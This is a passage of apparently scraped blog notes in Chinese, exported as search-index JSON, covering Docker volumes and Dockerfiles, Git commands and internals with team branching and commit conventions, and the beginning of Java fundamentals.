lost+found opt run sys vardev lib media proc sbin tmp volume01etc lib64 mnt root srv usr volume02 # 不关闭该容器退出CTRL + Q + P # 创建docker02: 并且让docker02 继承 docker01docker run -it --name docker02 --volumes-from docker01 jackie/centos:latest # 查看容器docker02内容lsbin home lost+found opt run sys vardev lib media proc sbin tmp volume01etc lib64 mnt root srv usr volume02# 创建docker03继承docker01docker run -it --name docker03 --volumes-from docker01 jackie/centos:latestcd volume01 #进入volume01 查看是否也同步docker01的数据ls docker01.txt# 测试:可以删除docker01,查看一下docker02和docker03是否可以访问这个文件# 测试发现:数据依旧保留在docker02和docker03中没有被删除(但是删除主机内的文件,则全无)\n\nDockerfiledockerfile就是用来构建docker镜像的构建文件\n\n通过这个脚本可以生成镜像,镜像是一层一层的,脚本一个个的命令,每个命令是一层\n\n#创建一个dockerfile文件,名字可随机,建议为dockerfile#文件中的内容 指令(大写) 参数FROM centosVOLUME ["volume01","volume02"]CMD echo "----end----"CMD /bin/bash#这里的每个命令就是镜像的一层#不能run的,VOLUME ["/volume01","/volume02"],加斜杠!\n\n介绍\n构建步骤︰\n\n\n编写一个dockerfile文件\n\ndocker build构建成为一个镜像\n\ndocker run运行镜像\n\ndocker push 发布镜像(DockerHub、阿里云镜像仓库)\n\n\n\n基础知识∶\n\n\n每个保留关键字(指令)都是尽量是大写字母\n\n执行从上到下顺序执行\n\n#表示注释\n\n每一个指令都会创建提交一个新的镜像层,并提交\n\n\n\n指令参考链接:https://www.runoob.com/docker/docker-dockerfile.html\n\n\n\n指令\n说明\n\n\n\nFROM\n指定基础镜像\n\n\nMAINTAINER\n镜像是谁写的,姓名+邮箱\n\n\nRUN\n镜像构建的时候需要运行的命令\n\n\nADD\n将本地文件添加到容器中,tar类型文件会自动解压(网络压缩资源不会被解压),可以访问网络资源,类似wget\n\n\nWORKDIR\n镜像的工作目录\n\n\nVOLUME\n挂载的目录\n\n\nEXPOSE\n暴露端口配置\n\n\nCMD\n指定这个容器启动的时候要运行的命令(只有最后一个会生效,可被替代)\n\n\nEMTRYPOINT\n指定这个容器启动的时候要运行的命令,可以追加命令\n\n\nONBUILD\n当构建一个被继承DockerFile,这个时候就会运行ONBUILD的指令,触发指令\n\n\nCOPY\n功能类似ADD,但是是不会自动解压文件,也不能访问网络资源\n\n\nENV\n构建的时候设置环境变量\n\n\n构建自己的Dockerfile下面通过编写Dockerfile文件来制作Centos镜像,并在官方镜像的基础上添加vim和net-tools工具。首先在/home/dockfile 目录下新建文件mydockerfile-centos。然后使用上述指令编写该文件。\n\n编写dockerfile文件\n\nFROM centos:7 #基础镜像 MAINTAINER TSL<.com> #维护者信息 ENV MYPATH /usr/local #环境变量目录 k-vWORKDIR $MYPATH #工作目录 用$取k RUN yum -y install vim #执行构建命令 安装vimRUN yum -y install net-tools #执行构建命令 安装net-tools EXPOSE 80 #暴露端口 80 CMD echo $MYPATH #输出构建信息 mypathCMD echo "---end---" #输出信息CMD /bin/bash #进入/bin/bash命令行\n\n\n构建镜像文件\n\n构建镜像命令:docker build -f dockerfile文件路径 -t 镜像名[:版本号] .(==这里有个小点.==)\n上面命令中,-t参数用来指定 image 文件的名字,后面还可以用冒号指定标签。如果不指定,默认的标签就是latest。最后的那个点表示Dockerfile文件所在的路径,上例是当前路径,所以是一个点。\ndocer build -f mydockerfile-centos -t mycentos:0.1 .# docker images 查看镜像会发现size变大\n\n制作tomcat镜像并发布\n\n","tags":["技术栈"]},{"title":"Git","url":"/2024/04/14/Git/","content":"Git理论\nSVN是集中式版本控制系统,版本库是集中放在中央服务器的,而工作的时候用的是自己的电脑,所以首先要从中央服务器得到最新的版本,然后工作,完成工作后,需要把自己做完的活儿推送到中央服务器。集中式版本控制系统是必须联网才能工作,对网络带宽要求较高。\n\nGit是分布式版本控制系统,没有中央服务器,每个人的电脑就是一个完整的版本库,工作时不需要联网了,因为版本都在自己电脑上,协同的方法是这样的:比如说自己在电脑上改了文件A,其他人也在电脑上改了文件A,这时你们俩之间只需把各自的修改推送给对方,就可以互相看到对方的修改了。\n\n\n\n\n#git init从master改成maingit config --global init.defaultBranch main#设置提交代码时的用户信息git config --global user.name 'jackie'git config --global user.email **@qq.com#如果去掉 --global 参数只对当前仓库有效\n\n基本操作git clone <链接>git add .git statusgit commit -m "消息内容"git remote rm origin(有的话删除)git remote add origin https://github.com/xxx.git#5、6可以合并成下面git remote set-url origin <链接>#origin是给远程仓库起的别名,也可以起其他名字,但是如果用origin,git push时可以不指出名字,如果用其他名字需要指出名字,git push 名字git push origin main\n\n\n#本地和远程仓库不同时git pull origin main#fatal: Need to specify how to reconcile divergent branches.#致命:需要指定如何协调不同的分支。#虽分支名相同,但本地有commit,而新建仓库添加README&License后同样会commit,本地&仓库各自偶commit↓git pull --rebase origin main\n\n\n参考链接:Git 基本操作 | 菜鸟教程\n\ngit status\n\nA:你本地新增的文件(服务器上没有)\nC:文件的一个新拷贝\nD:你本地删除的文件(服务器上还在)\nM:文件的内容或者mode被修改了\nR:文件名被修改了\nT:文件的类型被修改了\nU:文件没有被合并(你需要完成合并才能进行提交)\nX:未知状态(很可能是遇到git的bug了,你可以向git提交bug report)\n??:未被git进行管理,可以使用git add file1把file1添加进git能被git所进行管理\n红色是工作区状态,绿色是暂存区的状态\n\ngit diff\n\ngit diff:尚未缓存的改动\ngit diff –cached:查看已缓存的改动\ngit diff HEAD:查看已缓存的与未缓存的所有改动\ngit diff –stat:显示摘要而非整个 diff\ngit diff origin<远程仓库名>/main<分支名>\n\n\ngit commit\n\ngit commit -a:修改文件后不需要执行 git add 命令,直接来提交\n\ngit rm\n\ngit rm <file>:从暂存区和工作区中删除\ngit rm -f <file>:若删前修改过且已放到暂存区域,则必须要用强制删除选项 -f\ngit rm -r ***:递归删除该目录下的所有文件和子目录\n\ngit mv\n\ngit mv <file> <newfile> -f:若新文件名已经存在,但还是要重命名它,可用 -f\n\ngit checkout\n\ngit checkout -b 分支名:创建并切换分支\n.gitignore忽略文件有些时候我们不想把某些文件纳入版本控制中,比如数据库文件,临时文件,设计文件等\n在主目录下建立”.gitignore”文件,此文件有如下规则:\n\n忽略文件中的空行或以井号(#)开始的行将会被忽略。\n可以使用Linux通配符。例如:星号(*)代表任意多个字符,问号(?)代表一个字符,方括号([abc])代表可选字符范围,大括号({string1,string2,…})代表可选的字符串等。\n如果名称的最前面有一个感叹号(!),表示例外规则,将不被忽略。\n如果名称的最前面是一个路径分隔符(/),表示要忽略的文件在此目录下,而子目录中的文件不忽略。\n如果名称的最后面是一个路径分隔符(/),表示要忽略的是此目录下该名称的子目录,而非文件(默认文件或目录都忽略)。\n\n*.txt #忽略所有 .txt结尾的文件,这样的话上传就不会被选中!!lib.txt #但lib.txt除外/temp #仅忽略项目根目录下的TODO文件,不包括其它目录tempbuild/ #忽略build/目录下的所有文件doc/*.txt #会忽略 doc/notes.txt 但不包括 doc/server/arch.txt\n\nBranch假设当前主分支经历了两个版本,我们要为当前仓库新增文件,但该文件还不能确定是否需要,我们可在主分支的基础上创建一个新的分支,等新分支文件一切准备好了再合并过来\n\ngit branch <分支名>#创建分支git checkout <分支名>#切换分支git branch -d <分支名>#删除分支,-D可强制删除git checkout -b <分支名1>#创建并马上切换到新分支#等价于↓git switch -c <分支名>git merge <分支名1>#把别的分支合并到当前所处分支\n\nGitHub Issues问题+”#+数字”\ncommit时的-m “解决#+数字”,提交到远程仓库后会关联相应的issue\nGitHub Pull Requests若尝试新增一个Pull Request会发现创建按钮无法点击且提示需要选择不同的Branches或Forks\nIssues和Pull Requests会共用”#+数字”的顺序\n后面提交PR后”#+数字”会顺延前面的数字\nPR后远程仓库只有一个分支,但本地仍有两个分支\n若直接branch -d删除,提示出错,且提示可用-D删除\n\n远程仓库已合并,且有n个Commits,而本地只有m个(m<n),因为本地还没做合并的操作\n\ngit pull origin main\n\n此时git log会看到此时Commits的数量一致了,再次删除小分支,则不会出错\nFork拷贝仓库到自己账号,注意commit时按照别人仓库的规范来进行\n此时进行Fork的那名用户账号里可看到横幅(源仓库拥有者那里不会显示)\nTags#-a是annotation,意为注解git tag -a v1.0.0 -m "v1.0.0大功告成"\n\nGitHub Actions【Github Action题目world.execute.me 出题人讲解】 https://www.bilibili.com/video/BV1jm411d7Jk/?share_source=copy_web&vd_source=15214a7977f78540f7402494fb912cda\n拓展链接Git _ 报错信息\nhttps://www.cnblogs.com/iini/p/16300299.html\n撤回已 Push 的代码IDEA中Git较为优雅的方法:Reset Current Branch 到你想要恢复的commit记录\n这个时候会跳出四个选项供选择\nSoft:#之前写的不会改变,之前暂存过的文件还在暂存。Mixed:#之前写的不会改变,之前暂存过的文件不会暂存。Hard:#文件恢复到所选提交状态,任何更改都会丢失。你已经提交了,然后你又在本地更改了,如果选hard,那么提交的内容和提交后又本地修改未提交的内容都会丢失。keep:#任何本地更改都将丢失,文件将恢复到所选提交的状态,但本地更改将保持不变。你已经提交了,然后你又在本地更改了,如果选keep,那么提交的内容会丢失,提交后又本地修改未提交的内容不会丢失。\n\n然后,之前错误提交的commit就在本地给干掉了。但是远程仓库中的提交还是原来的样子,你要把目前状态同步到远程仓库。也就是需要把那几个commit删除的操作push过去。\n打开push界面,虽然没有commit需要提交,需要点击Force Push,强推过去。\n\n需要注意的是对于一些被保护的分支,这个操作是不能进行的。需要自行查看配置,我这里因为不是master分支,所以没有保护。\n\n实操\ngit reset --hard <所需要恢复到位置的hash值>git push --force origin\n\n.git简单地说,git 只是一堆通过文件名相互链接的文本文件。\ngit init$ tree .git.git├── config├── HEAD├── hooks│ └── prepare-commit-msg.msample├── objects│ ├── info│ └── pack└── refs ├── heads └── tags\n\n\nconfig是一个 txt 文件,里面记录了当前仓库的 git 设置,如作者信息、文件模式等。\n\nHEAD表示仓库的当前head。根据你设置的默认分支,它可能是refs/heads/master或refs/heads/main或其他你设定的名字。实际上,它指向refs/heads这个文件夹,并关联了一个名为master的文件,但该文件目前还不存在。只有在你完成首次提交后,master文件才会生成。\n\nhooks是一个特殊的目录,其中包含了可以在git执行任何操作前后运行的脚本。\n\nhttps://blog.meain.io/2019/making-sure-you-wont-commit-conflict-markers/\n\n\nobjects存放的是git的对象,比如关于仓库中的文件、提交等的数据。我们稍后会对此进行深入探讨。\n\nrefs正如我们之前提到的,是用来存放引用的目录。例如,refs/heads里存放的是分支的引用,而refs/tags则存放的是标签的引用。我们将进一步深入了解这些文件的内容。\n\n\ngit add file--- init 2023-07-02 15:14:00.584674816 +0530+++ add 2023-07-02 15:13:53.869525054 +0530@@ -3,7 +3,10 @@ ├── HEAD ├── hooks │ └── prepare-commit-msg.msample+├── index ├── objects+│ ├── 4c+│ │ └── 5b58f323d7b459664b5d3fb9587048bb0296de │ ├── info │ └── pack └── refs\n\n此操作主要引发了两个变化。首先,文件index被修改。index是记录当前暂存信息的地方,这表明名为file的文件已经被加入到索引中。\n更为关键的是,新建了一个objects/4c文件夹,并在其中添加了5b58f323d7b459664b5d3fb9587048bb0296de文件。\n#看看该文件具体包含了什么信息$ file .git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296de.git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296de: zlib compressed data---#这个用 zlib 压缩的数据中具体包含了什么呢?$ zlib-flate -uncompress <.git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296deblob 9\\0meain.io\n\n结果可看出,该文件记录了我们之前通过git add命令添加的file文件的相关信息,包括文件的类型、大小和内容。具体地说,文件类型为blob,大小为9,内容则是meain.io。\n\n文件名其实是基于内容的sha1哈希值生成的。通过对zlib压缩的数据进行sha1sum处理,我们就可以得到这样的文件名。\n$ zlib-flate -uncompress <.git/objects/4c/5b58f323d7b459664b5d3fb9587048bb0296de|sha1sum4c5b58f323d7b459664b5d3fb9587048bb0296de\n\ngit在存储内容时,会使用内容的sha1哈希值,取其前两个字符作为文件夹名(如4c),余下的部分作为文件名。这种方式是为了确保在objects文件夹中不会有过多的文件,从而使文件系统保持高效。\n\ngit cat-file\ngit提供了一个基础命令git cat-file,让我们可以更直观地查看它。通过-t参数,你可以查询对象的类型;使用-s参数,你可以得知对象的大小;而-p参数则能让你直观地查看对象的具体内容。\n$ git cat-file -t 4c5b58f323d7b459664b5d3fb9587048bb0296deblob$ git cat-file -s 4c5b58f323d7b459664b5d3fb9587048bb0296de9$ git cat-file -p 4c5b58f323d7b459664b5d3fb9587048bb0296demeain.io\n\ngit commit$ git commit -m 'Initial commit'[master (root-commit) 4c201df] Initial commit 1 file changed, 1 insertion(+) create mode 100644 file\n\n以下是相关的变动:\n--- init 2023-07-02 15:14:00.584674816 +0530+++ commit 2023-07-02 15:33:28.536144046 +0530@@ -1,11 +1,25 @@ .git+├── COMMIT_EDITMSG ├── config ├── HEAD ├── hooks │ └── prepare-commit-msg.msample ├── index+├── logs+│ ├── HEAD+│ └── refs+│ └── heads+│ └── master ├── objects+│ ├── 3c+│ │ └── 201df6a1c4d4c87177e30e93be1df8bfe2fe19 │ ├── 4c │ │ └── 5b58f323d7b459664b5d3fb9587048bb0296de+│ ├── 62+│ │ └── 901ec0eca9faceb8fe0a9870b9b6cde75a9545 │ ├── info │ └── pack └── refs ├── heads+ │ └── master └── tags\n\n首先有一个新文件``COMMIT_EDITMSG`,保存了最新的提交信息。\n若直接运行git commit未带-m参数,git会启动一个编辑器并加载COMMIT_EDITMSG文件,方便用户编辑提交信息。编辑完成后,git就采用该文件内容作为提交信息。\n此外,新增了一个logs目录,git通过它来记录所有的提交变动。在此,你可以查看所有引用(refs)及HEAD的提交记录。\nobject文件夹也发生了些变化,但首先,我希望你关注一下refs/heads目录,里面现有一个master文件。毫无疑问,这就是master分支的引用。\n$ cat refs/heads/master3c201df6a1c4d4c87177e30e93be1df8bfe2fe19\n\n显然,它是指向了一个新的对象。我们有方法查看这类对象,接着来试试。\n$ git cat-file -t 3c201df6a1c4d4c87177e30e93be1df8bfe2fe19commit$ git cat-file -p 3c201df6a1c4d4c87177e30e93be1df8bfe2fe19tree 62902ec0eca9faceb8fe0a9870b9b6cde75a9545author Abin Simon <mail@meain.io> 1688292123 +0530committer Abin Simon <mail@meain.io> 1688292123 +0530Initial commit\n\n\n同样可以使用git cat-file -t refs/heads/master命令来查看。\n\n从commit的内容中,我们得知它包含了一个哈希值为62902ec0eca9faceb8fe0a9870b9b6cde75a9545的tree对象,这与我们在提交时新加的对象相似。commit`还显示了这次提交的作者和提交者信息,这里都是我。最后,它还展示了这次提交的信息。\n接下来,让我们看一下tree对象中包含的内容。\n$ git cat-file -t 62902ec0eca9faceb8fe0a9870b9b6cde75a9545tree$ git cat-file -p 62901ec0eca9faceb8fe0a9870b9b6cde75a9545100644 blob 4c5b58f323d7b459664b5d3fb9587048bb0296de file\n\ntree对象中会通过其他tree和blob对象的形式呈现工作目录的状态。在这个示例中,因为我们仅有一个名为file的文件,所以你只能见到一个对象。细看的话,你会发现这个文件指向了我们在执行git add file时加入的那个初始对象。\n下面展示了一个更为成熟的仓库中的tree示意。在commit对象关联的tree对象中,嵌套有更多的tree对象,用以标识不同的文件夹。\n$ git cat-file -p 2e5e84c3ee1f7e4cb3f709ff5ca0ddfc259a8d04100644 blob 3cf56579491f151d82b384c211cf1971c300fbf8 .dockerignore100644 blob 02c348c202dd41f90e66cfeb36ebbd928677cff6 .gitattributes040000 tree ab2ba080c4c3e4f2bc643ae29d5040f85aca2551 .github100644 blob bdda0724b18c16e69b800e5e887ed2a8a210c936 .gitignore100644 blob 3a592bc0200af2fd5e3e9d2790038845f3a5cf9b CHANGELOG.md100644 blob 71a7a8c5aacbcaccf56740ce16a6c5544783d095 CODE_OF_CONDUCT.md100644 blob f433b1a53f5b830a205fd2df78e2b34974656c7b LICENSE100644 blob 413072d502db332006536e1af3fad0dce570e727 README.md100644 blob 1dd7ed99019efd6d872d5f6764115a86b5121ae9 SECURITY.md040000 tree 918756f1a4e5d648ae273801359c440c951555f9 build040000 tree 219a6e58af53f2e53b14b710a2dd8cbe9fea15f5 design040000 tree 5810c119dd4d9a1c033c38c12fae781aeffeafc1 docker040000 tree f09c5708676cdca6562f10e1f36c9cfd7ee45e07 src040000 tree e6e1595f412599d0627a9e634007fcb2e32b62e5 website\n\ngit commit -a(modify)$ git commit -am 'Use blog link'[master 68ed5aa] Use blog link 1 file changed, 1 insertion(+), 1 deletion(-)\n\n更改内容如下:\n--- commit 2023-07-02 15:33:28.536144046 +0530+++ update 2023-07-02 15:47:20.841154907 +0530@@ -17,6 +17,12 @@ │ │ └── 5b58f323d7b459664b5d3fb9587048bb0296de │ ├── 62 │ │ └── 901ec0eca9faceb8fe0a9870b9b6cde75a9545+│ ├── 67+│ │ └── ed5aa2372445cf2249d85573ade1c0cbb312b1+│ ├── 8a+│ │ └── b377e2f9acd9eaca12e750a7d3cb345065049e+│ ├── e5+│ │ └── ec63cd761e6ab9d11e7dc2c4c2752d682b36e2 │ ├── info │ └── pack └── refs\n\n新增了三个对象。一个是含有文件新内容的blob对象,还有一个是tree对象,以及一个commit对象。\n再次从HEAD或refs/heads/master开始追踪这些对象。\n$ git cat-file -p refs/heads/mastertree 9ab377e2f9acd9eaca12e750a7d3cb345065049eparent 3c201df6a1c4d4c87177e30e93be1df8bfe2fe19author Abin Simon <mail@meain.io> 1688292975 +0530committer Abin Simon <mail@meain.io> 1688292975 +0530Use blog link$ git cat-file -p 9ab377e2f9acd9eaca12e750a7d3cb345065049e100644 blob e5ec63cd761e6ab9d11e7dc2c4c2752d682b36e2 file$ git cat-file -p e6ec63cd761e6ab9d11e7dc2c4c2752d682b36e2blog.meain.io\n\n仔细观察会注意到commit对象现在有了一个额外的键名为parent,它链接到上一个提交,因为当前提交是基于上一个提交创建的。\ngit branchgit branch fix-url\n--- update 2023-07-02 15:47:20.841154907 +0530+++ branch 2023-07-02 15:55:25.165204941 +0530@@ -27,5 +28,6 @@ │ └── pack └── refs ├── heads+ │ ├── fix-url │ └── master └── tags\n\n此操作会在refs/heads目录下加入一个新的文件。该文件的名称就是我们新建的分支名,而内容则是最新的提交标识id。\n$ cat .git/refs/heads/fix-url68ed5aa2372445cf2249d85573ade1c0cbb312b1\n\n这基本上就是创建分支的全部内容。在git中,分支是相当轻便的。另外,标签的创建也是类似的操作,但它们是被创建在refs/tags目录下。\n在logs目录下也新增了一个文件,该文件用于记录与master分支类似的提交历史信息。\ngit checkout在git中进行分支切换实际上是让git获取某个提交的tree对象,并更新工作区中的文件,使其与其中记录的状态相匹配。在此例中,由于我们是从master分支切换到fix-url分支,而这两个分支都指向同一个commit和它的tree对象,因此git在工作区的文件上并没有任何更改。\ngit checkout fix-url\n\n在进行分支切换时,.git目录中唯一发生的变化是.git/HEAD文件的内容,现在它指向fix-url分支。\n$ cat .git/HEADref: refs/heads/fix-url\n\n既然我们在这里,我将进行一个提交操作。这将有助于我稍后展示合并的效果。\n$ echo 'https://blog.meain.io'>file$ git commit -am 'Fix url'\n\ngit merge有三种主要的合并方法。\n\n最简单且直观的是快进式合并。这种方式中,你只是更新一个分支的提交,使其指向另一个分支的提交。具体操作就是把refs/heads/fix-url中的哈希值复制到refs/heads/master。\n\n第二种是变基(rebase)合并。在这种方式中,我们首先将更改依次应用到主分支当前的提交上,然后进行类似于快进式的合并。\n\n第三种是通过创建一个独立的合并来合并两个分支。这种方法与前两者略有不同,因为它的提交对象会有两个parent条目。我们稍后会详细探讨这种方法。\n\n\n首先,我们来看看合并前的graph。\ngit log --graph --oneline --all* 42c6318 (fix-url) Fix url* 67ed5aa (HEAD -> master) Use blog link* 3c201df Initial commit\n\n接下来进行合并:\n$ git merge fix-url # updates refs/heads/master to the hash in refs/heads/fix-url\n\n我们再来看看合并后的 graph。\n$ git log --graph --oneline --all* 42c6318 (HEAD -> master) (fix-url) Fix url* 67ed5aa Use blog link* 3c201df Initial commit\n\ngit remote为了演示这个过程,我首先创建了一个新的git仓库作为这个仓库的远程连接。\n$ mkdir git-talk-2$ cd git-talk-2 && git init --bare$ cd ../git-talk && git remote add origin ../git-talk-2\n\n\ngit init –bare用于在git中创建一个裸(bare)仓库,裸仓库则不包含工作目录,它只是一个.git目录,没有实际的项目文件。裸仓库通常被用作远程仓库,用于与其他开发者共享代码。它只包含Git版本控制所需的文件,因此更适合作为一个中心化的代码仓库。\n当你在一个服务器上搭建Git仓库时,通常会使用裸仓库。这样其他开发者可以通过克隆(clone)这个裸仓库来获取项目代码,并将自己的更改推送(push)回去,而不会涉及到冗余的工作目录。\n\n另外,添加新的远程仓库实际上是修改了配置文件,可以在.git/config中查看这个变更。接下来,执行推送操作。\n$ git push origin master\n\n再来检查一下本地仓库发生了哪些改变。\n--- branch\t2023-07-02 15:55:25.165204941 +0530+++ remote\t2023-07-02 17:41:05.170923141 +0530@@ -22,12 +29,18 @@ │ ├── e5 │ │ └── ec63cd761e6ab9d11e7dc2c4c2752d682b36e2 │ ├── info │ └── pack ├── ORIG_HEAD └── refs ├── heads │ ├── fix-url │ └── master+ ├── remotes+ │ └── origin+ │ └── master └── tags\n\n会发现新增了一个新的refs/remotes目录,这是用来存储不同远程仓库相关信息的。\n但是,实际上传送到远程git仓库的数据是什么呢?那就是objects文件夹内的所有数据,以及你明确推送的refs下的分支和标签。仅凭这些,远程的git就能完整地构建出你的所有git历史记录。\n大厂的Git代码管理规范分支命名\nmaster分支\n\nmaster为主分支,也是用于部署生产环境的分支,需要确保master分支稳定性。master分支一般由release以及hotfix分支合并,任何时间都不能直接修改代码。\n\ndevelop分支\n\ndevelop为开发环境分支,始终保持最新完成以及bug修复后的代码,用于前后端联调。一般开发新功能时,feature分支都是基于develop分支创建的。\n\nfeature分支\n\n开发新功能时,以develop为基础创建feature分支。\n分支命名时以feature/开头,后面可以加上开发的功能模块,命名示例:feature/user_module、feature/cart_module。\n\ntest分支\n\ntest为测试环境分支,外部用户无法访问,专门给测试人员使用,版本相对稳定。\n\nrelease分支\n\nrelease为预上线分支(预发布分支),UAT测试阶段使用。一般由test或hotfix分支合并,不建议直接在release分支上直接修改代码。\n\nhotfix分支\n\n线上出现紧急问题时,需要及时修复,以master分支为基线,创建hotfix分支。修复完成后,需要合并到master分支和develop分支。\n分支命名以hotfix/开头的为修复分支,它的命名规则与feature分支类似。\n分支与环境对应关系在系统开发过程中常用的环境:\n\nDEV环境(Development environment):用于开发者调试使用。\nFAT环境(Feature Acceptance Test environment):功能验收测试环境,用于测试环境下的软件测试者测试使用。\nUAT环境(User Acceptance Test environment):用户验收测试环境,用于生产环境下的软件测试者测试使用。\nPRO环境(Production environment):生产环境。\n\n对应关系:\n\n\n\n分支\n功能\n环境\n可访问\n\n\n\nmaster\n主分支,稳定版本\nPRO\n是\n\n\ndevelop\n开发分支,最新版本\nDEV\n是\n\n\nfeature\n开发分支,实现新特性\n\n否\n\n\ntest\n测试分支,功能测试\nFAT\n是\n\n\nrelease\n预上线分支,发布新版本\nUAT\n是\n\n\nhotfix\n紧急修复分支,修复线上bug\n\n否\n\n\n分支合并流程规范业界常见的两大主分支(master、develop)、三个辅助分支(feature、release、hotfix)的生命周期:\n\n以上生命周期仅作参考,不同开发团队可能有不同的规范,可自行灵活定义。\n例如我们团队在开发时,至少需要保证以下流程:\n\ndevelop分支和hotfix分支,必须从master分支检出。\n由develop分支合并到test分支。\n功能测试无误后,由test分支合并到release分支。\nUAT测试通过后,由release分支合并到master分支。\n对于工作量小的功能开发(工时小于1天),可以直接在devolop分支进行开发,否则由develop分支检出feature分支进行开发,开发完后合并到develop分支。\n\nGit Commit Message规范Git Commit Message规范指提交代码时编写的规范注释,编写良好的Commit Message可以达到3个重要的目的:\n\n加快代码review的流程。\n帮助我们编写良好的版本发布日志。\n让之后的维护者了解代码里出现特定变化和feature被添加的原因。\n\nAngular Git Commit Guidelines业界应用的比较广泛的是Angular Git Commit Guidelines:\n<type>(<scope>): <subject><BLANK LINE><body><BLANK LINE><footer>\n\n\ntype:提交类型。\nscope:可选项,本次commit波及的范围。\nsubject:简明扼要地阐述下本次commit的主旨,在AngularGit Commit Guidelines中强调了三点。使用祈使句,首字母不要大写,结尾无需添加标点。\nbody:同样使用祈使句,在主体内容中我们需要把本次commit详细地描述一下,比如此次变更的动机。\nfooter:描述下与之关联的issue或break change。\n\n简易版项目中实际可以采用简易版规范:\n<type>(<scope>):<subject>\n\ntype规范Angular Git CommitGuidelines中推荐的type类型如下:\n\nfeat:新增功能。\nfix:修复bug。\ndocs:仅文档更改。\nstyle:不影响代码含义的更改(空白、格式设置、缺失分号等)。\nrefactor:既不修复bug也不添加特性的代码更改。\nperf:改进性能的代码更改。\ntest:添加缺少的测试或更正现有测试。\nchore:对构建过程或辅助工具和库(如文档)的更改。\n\n除此之外,还有一些常用的类型:\n\ndelete:删除功能或文件。\nmodify:修改功能。\nbuild:改变构建流程,新增依赖库、工具等(例如webpack、gulp、npm修改)。\ntest:测试用例的新增、修改。\nci:自动化流程配置修改。\nrevert:回滚到上一个版本。\n\n单次提交注意事项\n提交问题必须为同一类别。\n提交问题不要超过3个。\n提交的commit发现不符合规范,git commit --amend -m "新的提交信息"或git reset --hard HEAD重新提交一次。\n\n配置.gitignore文件.gitignore是一份用于忽略不必提交的文件的列表,项目中可以根据实际需求统一.gitignore文件,减少不必要的文件提交和冲突,净化代码库环境。\n通用文件示例:\nHELP.mdtarget/!.mvn/wrapper/maven-wrapper.jar!**/src/main/**/target/!**/src/test/**/target/### STS ###.apt_generated.classpath.factorypath.project.settings.springBeans.sts4-cache### IntelliJ IDEA ###.idea*.iws*.iml*.ipr### NetBeans ###/nbproject/private//nbbuild//dist//nbdist//.nb-gradle/build/!**/src/main/**/build/!**/src/test/**/build/### VS Code ###.vscode/# Log file*.log/logs*# BlueJ files*.ctxt# Mobile Tools for Java (J2ME).mtj.tmp/# Package Files #*.jar*.war*.ear*.zip*.tar.gz*.rar*.cmd\n\n其他此外,还有一些其他建议:\n\nmaster分支的每一次更新,都建议打tag添加标签,通常为对应版本号,便于管理。\nfeature分支、hotfix分支在合并后可以删除,避免分支过多,管理混乱。\n每次pull代码前,提交本地代码到本地库中,否则可能会出现合并代码出错,导致代码丢失。\n\n","tags":["技术栈"]},{"title":"Java","url":"/2024/04/14/Java/","content":"Java==面向对象的三大特征:封装、继承、多态==\n\nJVM(Java Virtual Machine):Java虚拟机,真正运行Java程序的地方\n核心类库:Java自己写好的程序,给程序员自己的程序调用的\nJRE(Java Runtime Environment):Java的运行环境\nJDK(Java Development Kit):Java开发工具包\n\n变量详解字面量\n\n\n常用数据\n生活写法\n程序中写法\n说明\n\n\n\n整数\n336,-143\n336,-143\n写法一致\n\n\n小数\n13.14,-5.21\n13.14,-5.21\n写法一致\n\n\n字符\nA,0,我\n‘A’,’0’,’我’\n必须使用单引号,有且只有一个字符\n\n\n字符串\n张三\n“hello”,”张三”\n必须使用双引号,内容可有可无\n\n\n布尔值\n真、假\ntrue、false\n\n\n\n空值\n\nnull\n特殊的值,空值\n\n\n二进制(BIN)以0B开头\n八进制(OCT)以0开头\n十进制(DEC)\n十六进制(HEX)以0x开头\n数据类型\n整型:byte、short、int、long\n\nbyte:-128~127\n如果希望随便写一个整型字面量默认是long类型需在后面加上L/l\n\n浮点型:float、double\n\n如果希望随便写一个小数字面量默认是float类型需在后面加上F/f\n\n字符型:char\n\n布尔型:boolean\n\n引用数据类型:String\n\n\n定义的变量可用于记住一个字符串数据\n类型转换自动类型转换类型小的变量可直接赋值给类型范围大的变量\n表达式的自动类型转换byte、short、char→int→long→float→double\n表达式的最终结果类型由表达式中的最高类型决定\n表达式中,byte、short、char直接转换成int类型参与运算\n强制类型转换数据类型 变量2 =(数据类型)变量1、数据\n浮点类型强转成整型,直接丢掉小数部分,保留整数部分返回\n运算符+符号做连接符能算则算,不能算就在一起\n自增自减运算符++a:先加再用\na++:先用再加\n赋值运算符自带强制类型转换\n逻辑运算符^:逻辑异或\teg.2>1^3>1\n前后条件结果相同就直接返回false,不同才返回true\n\n相同为假,不同为真\n\n&&:左边为false,右边则不执行\n||:左边为true,右边则不执行\n\n两者与&、|区别:后者无论左边是false还是true,右边都要执行\n\n运算符的优先级\n\n\n优先级\n运算符\n\n\n\n1\n()\n\n\n2\n!、-、++、–\n\n\n3\n*、/、%\n\n\n4\n+、-\n\n\n5\n<<、>>、>>>\n\n\n6\n<、<=、>、>=、instanceof\n\n\n7\n==、!=\n\n\n8\n&\n\n\n9\n^\n\n\n10\n|\n\n\n11\n&&\n\n\n12\n||\n\n\n13\n?:\n\n\n14\n=、+=、-=、*=、/=、%=、&=\n\n\nDemo1:接收用户键盘输入的数据\n分支结构(if、switch)\nswitch使用时注意事项\n\n\n表达式类型只能是byte、short、int、char,JDK5开始支持枚举,JDK7开始支持string,不支持double、float、long\ncase给出的值不允许重复,且只能是字面量,不能是变量\n\n循环结构(for、while、do-whileDemo2:随机数random类\n数组\n静态初始化数组\n\n数据类型[ ] 数组名=new 数据类型[]{元素1,元素2,…};\n获取数组长度:数组名.length\n\n动态初始化数组\n\n数据类型[] 数组名=new 